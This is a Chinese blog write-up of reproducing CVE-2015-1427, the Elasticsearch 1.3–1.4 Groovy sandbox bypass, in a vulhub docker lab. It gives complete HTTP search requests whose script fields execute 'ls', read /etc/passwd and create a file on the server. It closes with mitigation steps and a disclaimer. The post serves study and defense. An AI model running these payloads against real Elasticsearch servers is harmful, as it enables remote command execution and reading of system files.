• 漏洞复现-ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427)


    漏洞原理

    和3210的漏洞很像,也是恶意代码执行漏洞,3210是执行任意MVEL表达式和java代码,3210之后MVEL表达式被弃用,ES的动态脚本语言换成了Groovy(而且增加了sandbox),然额换成Groovy之后仍然存在恶意代码执行漏洞(ES:我好难,2333...)

    复现环境

    在ubuntu 16.04虚拟机中用vulhub靶场提供的docker容器来复现

    jdk版本1.7

    ElasticSearch版本1.4.2

    影响版本

    Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 

    复现过程

    像3210那样先增加一条数据,再调用_search接口。

    执行java代码(为啥可以直接执行java代码?因为ES是用java开发的!)

    POST /_search?pretty HTTP/1.1
    Host: 192.168.101.10:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/text
    Content-Length: 156
    
    {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("ls").getText()"}}}
    View Code

    网上找的读取文件的POC:

    POST /_search?pretty HTTP/1.1
    Host: 192.168.101.10:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/text
    Content-Length: 425
    
    {"size":1, "script_fields": {"lupin":{"lang":"groovy","script":"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("cat /etc/passwd").getInputStream())).readLines()","lang":"groovy"}}}
    View Code

    也可以直接执行Goovy代码(Goovy也是一门独立的语言):

    参考:https://github.com/elastic/elasticsearch-lang-groovy

    GET /_search?pretty HTTP/1.1
    Host: 192.168.101.10:9200
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:73.0) Gecko/20100101 Firefox/73.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 124
    
    {"script_fields": {"my_field": {"script": "def command="touch evil";def res=command.execute().text;res","lang":"groovy"}}}
    View Code

    进入dokcer容器查看文件是否创建成功,使用之前进入docker容器的命令:

    docker-compose exec 容器名 bash 
    

    结果报错:No such service(ES的这几个容器都会报这个错,我也不知道为啥。。。),好吧,换一个命令:

    docker exec -it 容器id /bin/sh
    

    成功进入容器:

    防御方法

    1.elasticsearch.yml配置script.groovy.sandbox.enabled: false

    2.升级版本

    本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。

  • 相关阅读:
    创业成功关键在于专注“核心竞争力”(外包有时候能大大提高开发周期)
    华为为什么不设事业部制?
    雷军三年花10亿造“芯” 营销还是“不服气”(外界对雷军做芯片的三种猜测,以及雷军本人的看法)
    Windows完成端口与猪肉佬
    分布式锁实现
    Quartz(GUI)图形界面程序----Quartz Web
    Quartz.net开源作业调度
    js 闭包
    Nancy
    MVC—WebAPI(调用、授权)
  • 原文地址:https://www.cnblogs.com/sallyzhang/p/12468669.html
Copyright © 2020-2023  润新知